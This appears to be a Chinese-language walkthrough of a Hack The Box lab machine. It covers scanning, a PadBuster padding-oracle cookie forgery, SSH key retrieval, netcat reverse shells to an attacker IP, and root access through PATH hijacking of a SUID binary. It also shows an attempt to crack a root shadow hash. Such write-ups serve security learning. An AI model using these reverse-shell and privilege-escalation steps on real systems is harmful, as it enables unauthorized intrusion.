22 /tcp open ssh OpenSSH 6.6 .1 p1 Ubuntu 2 ubuntu2.8 (Ubuntu Linux; protocol 2.0 ) | ssh-hostkey: | 1024 e1: 92 : 1 b: 48 :f8 : 9 b: 63 : 96 :d4 :e5 : 7 a: 40 : 5 f: a4: c8: 33 (DSA) | 2048 af: a0: 0f: 26 :cd : 1 a: b5: 1 f: a7: ec: 40 : 94 :ef : 3 c: 81 : 5 f (RSA) | 256 11 :a3 : 2 f: 25 : 73 : 67 :af : 70 : 18 : 56 :fe :a2 :e3 : 54 : 81 :e8 (ECDSA) |_ 256 96 : 81 : 9 c: f4: b7: bc: 1 a: 73 : 05:ea :ba : 41 : 35 :a4 : 66 :b7 (ED25519)80 /tcp open http Apache httpd 2.4 .7 ((Ubuntu)) |_http-server-header: Apache/2.4 .7 (Ubuntu) |_http-title: CompanyDev Service Info: OS: Linux; CPE: cpe: /o: linux: linux_kernel
web
nikto nikto -h 10.10.10.18
Apache /2 .4 .7 (Ubuntu)PHP /5 .5 .9 -1 ubuntu4 .21
经过检查,web目录十分干净,只有少数的功能。
wapita wapiti -u http:// 10.10 .10.18 /login.php wapiti -u http:// 10.10 .10.18 /register.php wapiti -u http:// 10.10 .10.18 /classes/
扫描,无漏洞
gobuster gobuster -u http:// 10.10 .10.18 -w /usr/ share/wordlists/ dirbuster/directory-list-2.3 -medium.txt http:// 10.10 .10.18 /classes/
发现目录遍历,该目录下有几个php文件。auth.php跳转到admin/login.php
用burp拦截,发现302跳转,404not found =》admin/login.php
这让我不禁想到,login.php是否可以登陆admin
admin/admin尝试登陆,提示Invalid credentials,爆破失败
ssh
ssh root@10.10.10.18 The authenticity of host '10.10.10.18 (10.10.10.18 )' can't be established.ECDSA key fingerprint is SHA256 :OJ5 DTyZUGZXEpX4 BKFNTApa88 gR/+w5 vcNathKIPcWE.Are you sure you want to continue connecting (yes/no)? yesWarning : Permanently added '10.10.10.18 ' (ECDSA) to the list of known hosts.root @10.10.10.18 : Permission denied (publickey).python ssh.py --userList /usr/share/wordlists/linux-user.txt 10.10.10.18 --outputFile /root/Desktop/users.txt
检查结果:公钥私钥登陆方式,好像不允许私钥登陆
检查中间件漏洞 Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution + Scanner | exploits/php/remote/29316.py
cgi-bin目录不存在,所以漏洞不存在
writeup 参考资料: Padding Oracle Attack 笔记
Padding Oracle Attack,简要的说就是密码学配置不当,会导致任意文件读取。
工具:wget https://raw.githubusercontent.com/GDSSecurity/PadBuster/master/padBuster.pl
使用burp抓包,获取Cookie。
数据包 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 GET / HTTP/1.1 Host : 10.10.10.18 User -Agent: Mozilla/5 .0 (X11 ; Linux x86 _64 ; rv:60 .0 ) Gecko/20100101 Firefox/60 .0 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,*/*;q=0 .8 Accept -Language: en-US,en;q=0 .5 Cookie : PHPSESSID=l8 g93 fl443 iinu6 cndl71 g1 ic5 ; auth=zZs1 CucXwORHrUD2 uEkfi7 HKtO4 MqN0 eConnection : closeUpgrade -Insecure-Requests: 1 Cache -Control: max-age=0
padBuster.pl Use: padBuster.pl URL EncryptedSample BlockSize [options]
Padding Oracle perl padBuster.pl http://10.10 .10 .18 zZs1CucXwORHrUD2uEkfi7HKtO4MqN0e -cookies auth=zZs1CucXwORHrUD2uEkfi7HKtO4MqN0e 8 -encoding 0 填充oracle加密 perl padBuster.pl http://10.10 .10 .18 zZs1CucXwORHrUD2uEkfi7HKtO4MqN0e -cookies auth=zZs1CucXwORHrUD2uEkfi7HKtO4MqN0e 8 -encoding 0 -plaintext user =admin 当获得admin 加密后,获得了cookies字符串。用burp修改包。
访问/mysshkeywithnamemitsos
将密钥保存为一个名为id_rsa的文件。
chmod 400 id_rsassh -i id_rsa mitsos@10.10.10.18
INFO 家目录下有一个suid权限的elf程序。尝试用john破解/etc/shadow,失败。
mitsos@LazyClown:~$ ls -al backup -rwsrwsr-x 1 root root 7303 May 3 2017 backup mitsos@LazyClown:~$ file backup backup: setuid, setgid ELF 32 -bit LSB executable, Intel 80386 , version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6 .24 , BuildID[sha1]=33d6b5bec96c44e630f37ff41cc1c4a8b2813b6b, not stripped 一下就是/etc/shadow的第一行 root:$6$v1daFgo/$.7m9WXOoE4CKFdWvC.8A9aaQ334avEU8KHTmhjjGXMl0CTvZqRfNM5NO2/.7n2WtC58IUOMvLjHL0j4OsDPuL0:17288:0:99999:7::: 复制第一个冒号和第二个冒号之间的字符串,就是密文。将密文保存为文件名pass $6$v1daFgo/$.7m9WXOoE4CKFdWvC.8A9aaQ334avEU8KHTmhjjGXMl0CTvZqRfNM5NO2/.7n2WtC58IUOMvLjHL0j4OsDPuL0 --- john --wordlist=/usr/share/john/password.lst ./pass 解密失败 ---
strings backup
上传nc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 mitsos@LazyClown:~$whereis nc /bin/nc 尝试nc反弹shell,结果netcat-openbsd package,不支持-e参数。 mitsos@LazyClown:~$/bin/nc -e /bin/sh 10.10 .14 .7 1122 于是上传一个nc wget http://10.10.14.7/netcat;chmod a+x netcat /home/mitsos/netcat -h /home/mitsos/netcat -e /bin/sh 10.10 .14 .7 1122 --- 第一次上传的64位nc,提示出错 -bash: /home/mitsos/nc: cannot execute binary file: Exec format error 于是再次上传32位nc --- uname -a Linux LazyClown 4.4 .0 -31 -generic i686说明是32位的系统版本
成功反弹shell
提权 新建cat文件,内容是shell脚本。当suid程序执行cat /etc/shadow,加入环境变量后,会先执行以下脚本。
#!/bin/sh more /root/root.txt > /home/mitsos/root.txt
添加环境变量export PATH=.:$PATH
;chmod +x cat
,给/home/mitsos/cat添加执行权限。
运行/backup,发现root.txt已经复制到该目录。但是查看一下,发现还是root权限可读。
#!/bin/bash more chmod a+r /home/mitsos/root.txt
修改cat,然后再次运行backup即可获得root.txt的内容
方法二: cat 内容为
#!/bin/bash /home/mitsos/netcat -e /bin/bash 10.10.14.7 1233
即可获得一个root shell
总结 学习到了一种新的suid提权方式,虽然有suid权限的elf程序不nmap|vim|find|bash|more|less|nano|cp
这些程序其中的任何一种,但是通过添加环境变量,可以顺带执行shell脚本。
这个突破防线的方式,通过伪造cookies,是由于密码算法使用不当,导致攻击者可以猜测出admin的cookies,从而登陆web。
Padding Oracle Attack,利用条件很苛刻。
也许是我对密码学的东西知之甚少。不知道在实际攻击过程中,这种方式是否常见。